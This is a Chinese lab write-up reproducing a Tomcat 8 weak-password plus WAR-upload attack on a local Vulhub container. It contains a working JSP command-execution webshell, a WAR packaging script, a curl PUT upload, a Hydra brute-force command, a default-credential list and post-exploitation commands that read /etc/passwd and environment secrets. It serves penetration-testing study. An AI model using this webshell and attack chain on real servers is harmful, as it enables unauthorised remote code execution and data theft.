Vulhub 靶场:Tomcat8 弱口令与 WAR 包上传漏洞复现

Vulhub 靶场:Tomcat8 弱口令与 WAR 包上传漏洞复现


目录

  1. 靶场信息
  2. 原理讲透
  3. 实战触发信号:什么时候想到这套打法
  4. 环境准备
  5. 攻击完整流程(手把手)
  6. [拿到 shell 后做什么(信息收集)](#拿到 shell 后做什么(信息收集))
  7. [URL 编码速查](#URL 编码速查)
  8. 连接蚁剑:先搞懂它是什么
  9. 踩坑指南
  10. 扩展思考
  11. 笔记联动对照
  12. 总结
  13. [附录:完整 Payload 速查](#附录:完整 Payload 速查)

一、靶场信息

靶场 Vulhub Tomcat 8.0
漏洞类型 弱口令 + WAR 包上传 Getshell
危险等级 高危
CVE 无(默认配置错误,不是程序漏洞)
实战用时 约 60 分钟(含踩坑)

目标http://127.0.0.1:8080

预期结果:拿到容器 root 权限


二、原理讲透

2.1 Tomcat 是什么

Tomcat 是 Apache 的开源 Java Servlet 容器,常作为 Java Web 应用服务器。它身兼两职:既是处理 HTTP 请求的 Web 服务器,又是执行 Servlet/JSP 的容器。很多 Java 网站(包括大量内网系统、后台管理)跑在 Tomcat 上,所以它成了渗透里高频遇到的目标。

2.2 manager 控制台与认证机制

Tomcat 内置一个叫 Manager App 的 Web 管理界面,路径 /manager/html。它本质是一个部署在 Tomcat 内部的 Web 应用,提供:

  • 查看 JVM / 连接池状态
  • 部署、卸载、启停应用
  • 上传 WAR 包热部署

认证靠 Tomcat 的 Realm(安全域) 机制,最常用的是 UserDatabaseRealm,用户信息写在 conf/tomcat-users.xml。每个用户绑定若干 role,role 决定能干什么:

role 权限
manager-gui 访问 HTML 管理界面(/manager/html)
manager-script 访问纯文本接口(/manager/text/*,脚本上传 WAR 用)
manager-jmx JMX 代理接口
manager-status 只读状态页
admin-gui / admin-script Host Manager 的 GUI / 脚本权限

本次靶场账号 tomcat:tomcat 同时拥有 manager-guimanager-script,所以既能登录 Web 界面,也能用脚本接口传 WAR------两条路都通。

2.3 弱口令的本质

不是 CVE 漏洞,是配置错误------管理员没改默认/弱密码。真实环境里弱口令的常见来源:

  • 默认密码没改(tomcat:tomcat 出厂即存在)
  • 备份文件泄露(tomcat-users.xml.bak.old
  • .git 目录泄露提交过的配置文件
  • 目录遍历/任意文件读取读到该文件

配置错误类漏洞和 CVE 的区别:前者不依赖程序缺陷,靠的是"人没做该做的安全配置",所以补丁打全也可能中招。

2.4 Basic 认证机制(为什么抓包能看到明文)

Tomcat manager 用 HTTP Basic 认证 。客户端把 用户名:密码 做 Base64 编码,塞进请求头 Authorization: Basic <base64>

复制代码
Authorization: Basic dG9tY2F0OnRvbWNhdA==
                                    ↑ Base64("tomcat:tomcat")

关键点:Base64 不是加密,只是编码。抓包就能直接解码出明文。这也是为什么内网/明文 HTTP 下弱口令等于裸奔。Basic 认证默认没有失败次数锁定,所以爆破特别好使------试错不封 IP。

2.5 WAR 部署原理

WAR = Web Application Archive,本质是个 ZIP 包,符合 Java EE 规范。Tomcat 的 Host 配置 autoDeploy="true" 时,把 WAR 放到 webapps 目录或经 manager 上传,Tomcat 会自动:解压 → 部署 → 映射成可访问的 Web 应用。

规则:

  • WAR 文件名(去掉 .war)= 访问 URL 的上下文路径(context path)
  • 上传 myapp.war → 访问 http://host:8080/myapp/
  • WAR 根下的 test.jsphttp://host:8080/myapp/test.jsp

坑点 :WAR 内部结构必须正确------entry 名是相对 webapp 根的路径。如果打包时多套了一层目录 shell_build/test.jsp,访问路径变成 /myapp/shell_build/test.jsp,容易 404。这就是为什么 PowerShell 自带的 Compress-Archive 不能直接用(它保留目录层级)。

2.6 JSP 执行原理

JSP(Java Server Pages)不是直接执行的。Tomcat 的 Jasper 引擎先把 JSP 翻译成 Java Servlet 源码(.java),再编译成字节码(.class),最后由 JVM 执行。所以 JSP 里能写任意 Java 代码。

一句话木马的核心是 Runtime.getRuntime().exec(...)------Java 调起操作系统进程执行命令。我们传 -c/bin/sh,让 shell 解释整条命令(支持管道、重定向、分号),把 URL 参数 cmd 作为命令传入:

java 复制代码
Runtime.getRuntime().exec(new String[]{"/bin/sh","-c", request.getParameter("cmd")});

攻击者完全控制命令执行 → RCE。

和 PHP 一句话对比:

PHP JSP
执行 API eval() Runtime.exec()
执行对象 PHP 代码 系统命令
本质 服务端执行攻击者输入 服务端执行攻击者输入

两者都是"服务端执行攻击者控制的输入",只是语言机制不同。

2.7 为什么是 root

Vulhub 靶场里 Tomcat 以 root 运行(容器默认)。真实环境里 Java 应用常以专用低权限用户运行,但也不少仍以 root 跑。拿到 shell 后第一件事 id 确认权限。

2.8 完整攻击链

复制代码
1. 扫端口 → 发现 8080
         ↓
2. 访问 /manager/html → 弹登录框(确认 Tomcat + manager 存在)
         ↓
3. 弱口令爆破 → tomcat:tomcat 登录成功
         ↓
4. 准备 JSP WebShell → 打包成 WAR
         ↓
5. 上传 WAR 到 /manager/html → Tomcat 自动部署
         ↓
6. 访问 /部署名/test.jsp?cmd=whoami → 执行任意命令
         ↓
7. 拿到 root → 信息收集 / 读 flag / 横向移动

三、实战触发信号:什么时候想到这套打法

这是新手最容易卡的地方------看到一台机器不知道往哪想。Tomcat 这套打法的触发信号按时间顺序:

3.1 端口扫描阶段

信号 想到什么
开放 8080 Java 中间件嫌疑,优先想 Tomcat
开放 8009 AJP 协议端口(Tomcat 专有,Ghostcat 漏洞 CVE-2020-1938 入口)
开放 8005 Tomcat shutdown 端口
8080 但响应不像 Tomcat 也可能是 Jenkins、其他 Java 应用,要指纹识别

3.2 指纹识别阶段

访问 http://IP:8080,看这些特征确认是不是 Tomcat:

  • 默认欢迎页有猫 logo + "Congratulations!" 字样
  • 响应头 Server: Apache-Coyote/1.1Apache Tomcat
  • 访问 /manager/html 弹登录框(即使是 401/403,说明路径存在)

注意 :8080 不一定都是 Tomcat。用响应头 Server、默认页特征、/manager/html 是否存在来确认,别想当然。

3.3 发现管理端阶段

只要看到一个 Web 管理后台 / 登录框,第一反应就应该是:试弱口令字典

管理端弱口令是 Java 中间件的通病,不只是 Tomcat:

中间件 管理端路径 弱口令后能干啥
Tomcat /manager/html 上传 WAR 部署 → RCE
WebLogic /console 部署应用 / 任意文件上传 → RCE
JBoss /jmx-console, /admin-console 部署 WAR → RCE
WebSphere /ibm/console 部署应用 → RCE
GlassFish /manager 部署应用 → RCE

统一思路:找管理端 → 弱口令 → 部署恶意应用/WAR → RCE。Tomcat 只是其中最常见的一种。

3.4 弱口令成功之后

登录 manager 成功,立刻想到 WAR 包上传。这是 Tomcat 管理端最直接的 getshell 路径,比找其他漏洞快得多。

3.5 决策树

复制代码
端口扫描发现 8080
    ├─ 指纹确认是 Tomcat?
    │   ├─ 是 → 访问 /manager/html
    │   │       ├─ 弹登录框 → 试弱口令字典
    │   │       │       ├─ 成功 → 上传 WAR getshell
    │   │       │       └─ 失败 → 换爆破 / 找 PUT 方法 / 找其他漏洞
    │   │       └─ 404 不存在 → 放弃 manager 路线,找其他入口
    │   └─ 否(Jenkins 等)→ 按对应中间件思路打
    └─ 还有 8009 → 顺便查 Ghostcat (CVE-2020-1938)

四、环境准备

4.1 启动 Vulhub Tomcat 8 靶场

powershell 复制代码
# 1. 设置代理(如果用 Clash 等代理软件,命令行需手动设置)
$env:http_proxy="http://127.0.0.1:7890"
$env:https_proxy="http://127.0.0.1:7890"

# 2. 进入靶场目录
E:
cd E:\网安\vulhub\tomcat\tomcat8

# 3. 启动(首次会拉镜像,约 200MB)
docker-compose up -d

# 4. 验证
docker ps

预期看到tomcat8-tomcat-1 Up X minutes 0.0.0.0:8080->8080/tcp

4.2 准备工具

工具 用途
浏览器 访问 Tomcat manager 和 WebShell
PowerShell 写 JSP 文件、打 WAR 包
蚁剑(可选) 可视化 WebShell 管理

五、攻击完整流程(手把手)

第 1 步:访问 Tomcat 首页

操作 :浏览器打开 http://127.0.0.1:8080

预期看到:Tomcat 默认欢迎页(猫 logo + "Congratulations!")

页面上几个按钮:

  • Server Status - 查看服务器状态
  • Manager App - 弱口令爆破入口(重点)
  • Host Manager - 虚拟主机管理

第 2 步:点击 Manager App,弹出登录框

操作 :点击右上角 Manager App

预期看到:浏览器弹出 HTTP Basic 认证框(用户名+密码)

第 3 步:弱口令登录

操作 :输入 tomcat / tomcat,点确定

成功标志:进入 Tomcat Web Application Manager 页面,看到:

  • 顶部:当前部署应用列表
  • 底部:WAR file to deploy(WAR 包上传区域)

失败标志:再次弹出认证框,说明密码不对,需要换其他弱口令或爆破。

补充(Basic 认证原理):HTTP Basic 认证是 Base64 编码(非加密)的账号密码,抓包直接能看到明文。这也是弱口令在 Basic 认证上特别容易被爆破的原因------默认没有失败锁定。

第 4 步:查看配置文件确认弱口令(真实渗透的替代路径)

靶场里我们直接读了 tomcat-users.xml。真实渗透中配置泄露 是拿到弱口令的常见途径------.git 目录、备份文件(tomcat-users.xml.bak)、目录遍历等。

powershell 复制代码
cd E:\网安\vulhub\tomcat\tomcat8
cat tomcat-users.xml

预期看到

xml 复制代码
<tomcat-users>
  <user username="tomcat" password="tomcat" 
        roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script"/>
</tomcat-users>

关键 :角色包含 manager-guimanager-script,前者给 Web UI 权限,后者给 API 上传 WAR 权限。

第 5 步:编写 JSP 一句话muma

创建 JSP 文件

powershell 复制代码
mkdir E:\网安\vulhub\tomcat\tomcat8\shell_build

# 用 Here-String 写入 JSP(带 BufferedReader 读取多行输出)
@'
<%@ page import="java.util.*,java.io.*"%>
<%
try {
    Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c", request.getParameter("cmd")});
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) {
        out.println(line);
    }
} catch (Exception e) {
    out.println("Error: " + e.getMessage());
}
%>
'@ | Set-Content -Path E:\网安\vulhub\tomcat\tomcat8\shell_build\test.jsp -Encoding UTF8

验证

powershell 复制代码
cat E:\网安\vulhub\tomcat\tomcat8\shell_build\test.jsp

JSP 代码逐行讲解

代码 作用
1 <%@ page import="java.util.*,java.io.*"%> 导入 Java 类(BufferedReader、Process 等)
2 <% JSP 脚本开始标记
3 Runtime.getRuntime().exec(...) Java 执行系统命令的 API
3 request.getParameter("cmd") 取 URL 里 ?cmd=xxx 的值
4 new InputStreamReader(p.getInputStream()) 把命令输出转成字符流
5 BufferedReader br = new ... 缓冲读取(支持逐行)
6 while ((line = br.readLine()) != null) 逐行读取
7 out.println(line) 输出到 HTTP 响应
9 catch (Exception e) 异常处理(防止崩)

第 6 步:打包成 WAR(关键易错点)

为什么不用 Compress-Archive

PowerShell 自带的 Compress-Archive 会保留目录结构 ,导致 WAR 里有 shell_build/test.jsp 这种多余路径,部署后访问路径变成 /myapp/shell_build/test.jsp(404 错误)。

正确做法:用 .NET 的 ZipArchive 手动添加文件

powershell 复制代码
# 1. 准备临时打包目录
$tmpDir = "C:\Users\ASUS\shell_pack"
Remove-Item $tmpDir -Recurse -ErrorAction SilentlyContinue  # 删除旧的(如有)
New-Item -ItemType Directory -Path $tmpDir | Out-Null

# 2. 复制 JSP 到临时目录根
Copy-Item E:\网安\vulhub\tomcat\tomcat8\shell_build\test.jsp $tmpDir\

# 3. 用 ZipArchive 打包(手动添加,确保 entry 名 = 文件名)
Add-Type -AssemblyName System.IO.Compression.FileSystem
Add-Type -AssemblyName System.IO.Compression

# 用时间戳生成唯一文件名(避免文件占用冲突)
$timestamp = Get-Date -Format "HHmmss"
$warPath = "C:\Users\ASUS\myapp_$timestamp.war"

# 创建并写入
$fileStream = [System.IO.File]::Create($warPath)
$archive = New-Object System.IO.Compression.ZipArchive($fileStream, [System.IO.Compression.ZipArchiveMode]::Create)
[System.IO.Compression.ZipFileExtensions]::CreateEntryFromFile($archive, "$tmpDir\test.jsp", "test.jsp", [System.IO.Compression.CompressionLevel]::Optimal) | Out-Null
$archive.Dispose()
$fileStream.Dispose()

# 4. 验证 WAR 包结构(关键!)
$zip = [System.IO.Compression.ZipFile]::OpenRead($warPath)
Write-Host "WAR 包文件数: $($zip.Entries.Count)"
foreach ($entry in $zip.Entries) {
    Write-Host "  $($entry.FullName)"
}
$zip.Dispose()

预期输出

复制代码
WAR 包文件数: 1
  test.jsp       ← 必须在根目录,不能有 shell_build/ 前缀

错误输出

复制代码
WAR 包文件数: 1
  shell_build\test.jsp    ← 多了一层目录,会导致 404

第 7 步:上传 WAR 到 Tomcat Manager

操作

  1. 浏览器打开 http://127.0.0.1:8080/manager/html
  2. (如已掉登录,重新输入 tomcat / tomcat
  3. 滚到页面底部 WAR file to deploy 区域
  4. 点击 选择文件 → 选 C:\Users\ASUS\myapp_<时间戳>.war
  5. 点击 Deploy 按钮
  6. 等 3-5 秒(Tomcat 解压 + 部署)

成功标志 :Applications 列表多出一行 /myapp_<时间戳>,状态 Running: true

第 8 步:执行命令测试

浏览器访问

复制代码
http://127.0.0.1:8080/myapp_163558/test.jsp?cmd=whoami

预期看到

复制代码
root

完成!拿下 Tomcat 容器 root 权限。


六、拿到 shell 后做什么(信息收集)

6.1 基础信息收集

URL 看到什么 实战命令
?cmd=id 确认权限 uid=0(root) gid=0(root)
?cmd=pwd 当前目录 /usr/local/tomcat
?cmd=hostname 主机名 容器 ID
?cmd=cat+/etc/issue 系统版本 Debian 10 等
?cmd=ls+/ 根目录 Linux 标准结构

6.2 网络信息收集

URL 作用
?cmd=cat+/etc/hosts 主机名映射(Docker 网络里的其他容器)
?cmd=ip+addr?cmd=ifconfig 网卡信息
?cmd=env 环境变量(经常藏敏感信息)

6.3 文件系统探索

URL 作用
?cmd=ls+-la+/usr/local/tomcat/webapps 所有部署的应用
?cmd=cat+/usr/local/tomcat/conf/tomcat-users.xml 完整用户配置
?cmd=find+/+-name+flag*+2>/dev/null 找 flag 文件(CTF 场景)

6.4 敏感信息收集

URL 作用
?cmd=cat+/proc/self/environ 进程环境变量
?cmd=ps+aux 所有进程(找数据库 / 后台服务)
?cmd=netstat+-an?cmd=ss+-tlnp 网络连接(找内网端口)

七、URL 编码速查

执行 WebShell 命令时,URL 里的特殊字符必须编码

字符 编码后 示例
空格 +%20 ls+/ls%20/
/ %2F cat%2Fetc%2Fpasswd
& %26 cmd=ls+%26+id
> %3E cmd=echo+hi%3Etest.txt
< %3C cmd=echo+hi%3Ctest.txt

实战技巧空格用 + 最方便,其他复杂命令可以用在线工具(如 urlencoder.org)辅助编码。


八、连接蚁剑:先搞懂它是什么

浏览器 + ?cmd= 已经能跑命令,但实战中蚁剑(AntSword)更方便:文件管理、虚拟终端、数据库连接一体化。不过本次实战里蚁剑始终没连上,根因是没搞懂它的工作原理。先把原理讲透,少走弯路。

8.1 核心认知:蚁剑是协议,不是"图形化 ?cmd= 发送器"

最容易踩的坑是以为"蚁剑 = 一个能发 ?cmd=whoami 的图形界面"。这个理解是错的。蚁剑是客户端 + 服务端的一套应用层协议,不是简单的命令转发。

复制代码
浏览器打 shell:你发 ?cmd=whoami → JSP 跑 whoami → 返回文本 → 完
蚁剑打 shell:蚁剑发【按协议编码的请求】→ JSP 按协议解码 → 执行对应操作
             → 返回【蚁剑能解析的结构化数据】→ 蚁剑渲染成界面

两端要对称:

  • 客户端有编码器(encoder):把要执行的指令按规则编码后再发出
  • 服务端 shell 必须有对应的解码器(decoder):收到后反解码、执行、再按蚁剑约定的格式返回
  • 两端不匹配 = 鸡同鸭讲

手写的那几个 JSP 本质都是"浏览器 shell"(接收 ?cmd=、打印文本),没实现蚁剑协议 。所以 curl 能跑通 whoami,蚁剑却报 {}------因为蚁剑发的根本不是 ?cmd=whoami,而是它协议里的结构化请求,你的 shell 看不懂、返回空,蚁剑解析失败就显示 {}

8.2 浏览器 shell 和蚁剑 shell 是两回事

浏览器 shell 蚁剑 shell
触发方式 ?cmd=whoami 蚁剑协议请求
能做的操作 跑单条命令、打印输出 列目录、读/写文件、虚拟终端、数据库
返回格式 纯文本(命令输出) 蚁剑约定的结构化数据
手写难易 简单(Runtime.exec) 必须实现协议,别手写

结论 :一个 Runtime.exec(cmd)?cmd= shell 只能干"跑命令打印文本"这一件事,干不了蚁剑的文件管理/终端。这是本次蚁剑始终连不上的最根本原因------不是配置问题,是 shell 形状不对。

8.3 什么时候想到用蚁剑

需求 浏览器 WebShell 蚁剑
Tab 补全
命令历史
文件管理界面 要写 JSP 可视化
持续会话 一次性请求 持久连接

原则:浏览器 + URL 是学习原理最透明的方式(CTF 入门首选);大量命令交互、复杂操作用蚁剑/冰蝎/哥斯拉。但前提是 shell 得是蚁剑协议 shell,不然连不上。

8.4 浏览器 URL shell 模板(这个真的能用)

下面这个模板是浏览器 / curl 用的 ?cmd= shell ,在浏览器里 ?cmd=whoami 完美跑通。它不是蚁剑 shell,别指望用它直连蚁剑。

jsp 复制代码
<%@ page import="java.util.*,java.io.*" %>
<%
try {
    String cmd = request.getParameter("cmd");
    if (cmd == null || cmd.isEmpty()) {
        out.println("ok");
        return;
    }
    Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c", cmd});
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) out.println(line);
} catch (Exception e) {
    out.println("ERROR: " + e.getMessage());
}
%>

要点

  1. 无参访问返回 ok(方便自己确认 shell 活着)
  2. GET + URL 参数(最简单、最兼容)
  3. 出错返回 ERROR: ...(方便调试)
  4. /bin/sh -c 包装(支持管道、重定向)

8.5 正确连接蚁剑的正路

想要蚁剑真连上,别手写 shell 去适配蚁剑,也别混用编码器。正确做法:

  1. 打开蚁剑 → 工具 → Shell 生成器
  2. 选语言 JSP,按目标 JDK 版本生成(Java 7 就用兼容 7 的模板)
  3. 把生成的 shell 传到目标
  4. 连接时编码器选和生成时对应的那一个 (default = 明文;加密版就填 16 字节密钥
  5. 文件管理 + 虚拟终端都正常 = 真连上了

编码器匹配表

编码器 通信方式 服务端要求
default 明文(参数传命令) 生成器对应的明文 shell
base64 POST + base64 加密 body 生成器对应的 base64 解密 shell
rot13 rot13 编码 生成器对应的 rot13 解码 shell

实战建议 :优先用 default + 明文 shell ------简单可控、调试方便。需要过 WAF 才上 base64 加密。不管选哪个,shell 和编码器必须来自同一套生成配置

8.6 本次踩坑根因归类(7 次失败都栽在这)

实测连这个 JSP 时踩了一堆坑,根因就两类:shell 没实现协议 + JDK/AES 参数踩雷

失败 表面现象 真正根因
1 java.util.Base64 不存在 用了蚁剑官方加密 shell 模板(Java 8 API),靶场是 Java 7 → 编译不过
2 AES 密钥 3 字节报错 加密 shell 要求密钥 16/24/32 字节,填了 "ant"(3 字节)→ 非法
3 base64 编码器把命令拼到 URL 路径 编码器(base64)和服务端 shell 解码方式不匹配
4 不带参数返回空 蚁剑"测试连接"发握手探针,shell 没返回能识别的标记
5 返回纯文本不是 JSON 蚁剑解码器期望特定格式,纯文本 root 解析不了
6 "测试连接"误判 测试连接对非标准 shell 本就不可靠
7 JSON 版也没成 返回了 {"status":"success"},但操作请求 不是 ?cmd=,handler 处理不了蚁剑真正的文件管理请求

两条线缠在一起:用蚁剑官方加密 shell → 栽在 JDK 版本 + AES 参数;用自己 ?cmd= shell → 栽在"根本没实现蚁剑协议"。

技术深挖一:JDK 的 Base64 API 版本差异(失败 1)

API 可用 JDK 版本 说明
sun.misc.BASE64Decoder 6 / 7 / 8(8 里废弃但还在) 内部 API,非公开规范
java.util.Base64 8 及以上 公开标准 API
javax.xml.bind.DatatypeConverter 6~10 也可用

靶场是 Java 7.0_121java.util.Base64 还没出生 → 编译报错。深层原理:sun.misc.* 是 JDK 内部包,不属于公开规范,版本差异巨大(Java 9 直接删了)。写 JSP shell 给未知目标,先确认 JDK 版本,或选跨版本最稳的 API。

技术深挖二:AES 密钥长度 / 块长度(失败 2、部分 5)

  • 密钥长度 :AES 只支持 128 / 192 / 256 位 = 16 / 24 / 32 字节"ant" 是 3 字节,Cipher.init() 直接抛 InvalidKeyException。这是数学硬限制。
  • 块长度 :AES 是分组密码,固定块大小 128 位 = 16 字节 ,密文长度必须是 16 的倍数。蚁剑"测试连接"发的探针 body 不是 16 字节整数倍 → 解密时 c.doFinal()IllegalBlockSizeException

这点能反推一个事实:JSP 本身跑通了,是握手探针的密文不合法导致解密失败,不是 shell 写错。

8.7 为什么"测试连接"一直在骗你

蚁剑"测试连接"发的是一段特定探针 ,要求服务端返回它能识别的标记。你的 ?cmd= shell 连这段探针都接不住(只认 cmd 参数),自然返回空 → "返回数据为空"。

即便测试连接过了,后续文件管理、虚拟终端照样会 {} ------那些操作发的不是 ?cmd=,而是蚁剑协议里的"列目录""读文件"请求,?cmd= handler 处理不了。所以"跳过测试连接直接添加"只在 shell 本身实现了协议 时才管用。本次两种 shell 都没实现,跳不跳都没用。

8.8 什么时候用什么工具

场景 推荐工具
学习原理、CTF 入门 浏览器 URL(最透明)
日常调试、单条命令 浏览器 URL
大量命令交互、复杂操作 蚁剑 / 冰蝎 / 哥斯拉(需协议 shell)
流量要绕过 WAF 蚁剑 + base64 编码器 + 加密 shell
团队协同 / 多人共用 Shell 冰蝎 + 服务器端

关键认知 :不要为了工具而工具。浏览器 + ?cmd= 已经能拿到 root,工具的价值是提升效率不是必需。工具卡了先用最朴素方案搞定目标,别和工具死磕。


九、踩坑指南

坑 1:Docker Desktop 500 错误

现象docker pull 报 500 Internal Server Error

原因 :Docker Desktop 的 WSL 2 后端没正常启动

解决:任务管理器结束 Docker Desktop 进程,重启

坑 2:PowerShell 没走代理

现象git clone 报连接超时,但浏览器能访问 GitHub

原因 :代理软件只代理浏览器,命令行需要手动设置环境变量

解决

powershell 复制代码
$env:http_proxy="http://127.0.0.1:7890"
$env:https_proxy="http://127.0.0.1:7890"

坑 3:WAR 包结构错误

现象 :访问 /shell/test.jsp 404

原因Compress-Archive 把整个目录打进去,导致 shell.war 内有 shell_build\test.jsp 多了一层目录

解决 :用 ZipArchive + CreateEntryFromFile 手动添加文件,entry 名直接是文件名

坑 4:WAR 包是空的

现象.NET ZipFile.CreateFromDirectory 打包出来 Entries.Count = 0

原因 :.NET 5+ API 行为变化,默认不包含文件

解决 :用 CreateEntryFromFile 逐个添加

坑 5:文件被占用

现象The process cannot access the file...

原因 :NTFS 默认锁定打开的文件

解决:用时间戳生成新文件名,避免覆盖旧文件


十、扩展思考

10.1 Tomcat PUT 上传 Getshell(无需弱口令)

如果 Tomcat 启用了 HTTP PUT 方法(默认关闭),可以直接 PUT 上传 JSP:

bash 复制代码
curl -X PUT http://127.0.0.1:8080/test.jsp -d '<% Runtime.getRuntime().exec("whoami"); %>'
curl http://127.0.0.1:8080/test.jsp

判断方法

bash 复制代码
curl -X OPTIONS http://127.0.0.1:8080/
# 看到 Allow: PUT 表示启用了

修复方法 (运维角度):在 web.xml 里禁用 PUT 方法。

10.2 Tomcat 弱口令自动化检测

Hydra(爆破工具):

bash 复制代码
hydra -L users.txt -P pass.txt -s 8080 127.0.0.1 http-get /manager/html

常见弱口令字典

  • tomcat:tomcat
  • admin:admin
  • admin:password
  • root:root
  • tomcat:s3cret
  • admin:tomcat

10.3 Tomcat 其他攻击面

攻击面 危害
/examples/ 默认应用漏洞(Servlet/JSP 示例代码)
AJP 8009 端口 Ghostcat 漏洞(CVE-2020-1938)
JSP 反编译 拿到 .class 文件 → 反编译 → 看源代码
反序列化 ObjectInputStream 反序列化漏洞

10.4 站库分离场景的延伸

本题是 单容器 Tomcat(应用和数据库在一起)。

真实场景 :Tomcat 在容器 A,MySQL 在容器 B(站库分离)。

下一步攻击 :拿到 Tomcat WebShell 后,从 context.xmlserver.xml 找数据库连接字符串 → 横向到 MySQL 容器。


十一、总结

Tomcat 渗透核心三要素

  1. manager 弱口令(爆破或字典)
  2. WAR 包结构正确(entry 名 = 文件名)
  3. JSP 一句话木马(Runtime.exec)

完整的渗透链路

复制代码
信息收集 → 弱口令 → WebShell 上传 → RCE → 信息收集 → 横向移动

学到的工具技能

  • PowerShell 代理设置(永久化到 $PROFILE
  • .NET ZipArchive 打包(避坑 Compress-Archive)
  • Docker 镜像拉取与容器管理

十二、附录:完整 Payload 速查

一句话muma

jsp 复制代码
<%@ page import="java.util.*,java.io.*"%>
<%
try {
    Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c", request.getParameter("cmd")});
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) {
        out.println(line);
    }
} catch (Exception e) {
    out.println("Error: " + e.getMessage());
}
%>

打包脚本

powershell 复制代码
$tmpDir = "C:\Users\ASUS\shell_pack"
New-Item -ItemType Directory -Path $tmpDir -Force | Out-Null
Copy-Item E:\网安\vulhub\tomcat\tomcat8\shell_build\test.jsp $tmpDir\
Add-Type -AssemblyName System.IO.Compression.FileSystem
Add-Type -AssemblyName System.IO.Compression
$ts = Get-Date -Format "HHmmss"
$warPath = "C:\Users\ASUS\myapp_$ts.war"
$fs = [System.IO.File]::Create($warPath)
$arch = New-Object System.IO.Compression.ZipArchive($fs, [System.IO.Compression.ZipArchiveMode]::Create)
[System.IO.Compression.ZipFileExtensions]::CreateEntryFromFile($arch, "$tmpDir\test.jsp", "test.jsp", [System.IO.Compression.CompressionLevel]::Optimal) | Out-Null
$arch.Dispose(); $fs.Dispose()
Write-Host "WAR: $warPath"

常用命令 URL

复制代码
?cmd=id
?cmd=whoami
?cmd=pwd
?cmd=ls+-la
?cmd=cat+/etc/passwd
?cmd=env
?cmd=ip+addr
?cmd=hostname
相关推荐
mldong27 分钟前
跨语言对齐方法论:参考实现先行 + 契约测试
java·架构
沐苏瑶27 分钟前
JVM-内存区域、垃圾回收与类加载机制
java·jvm
迷枫7121 小时前
SQL性能排查记录
java·数据库·sql
渡我白衣2 小时前
深入理解 Transformer:Transformer 究竟是什么?
java·linux·开发语言·c++·人工智能·深度学习·transformer
Tisfy4 小时前
LeetCode 1927.求和游戏:抵消+看最值
java·leetcode·游戏·题解·博弈论
小猪妈咪爱学法9 小时前
欧盟最新发布《AI数字综合法案(Digital Omnibus‑on‑AI,AI综合修订法案)
人工智能·网络安全
安全小王子10 小时前
nssctf_easyapp
网络安全·逆向·ctf·nssctf
秋饼11 小时前
JDK 27 企业级 AI 服务落地实战:G1 默认、紧凑对象头、后量子 TLS 与 JFR 脱敏全解析
java·ai·技术分享·后端开发
卓怡学长11 小时前
w176基于SpringBoot的医院管理系统
java·spring boot·spring·maven·intellij-idea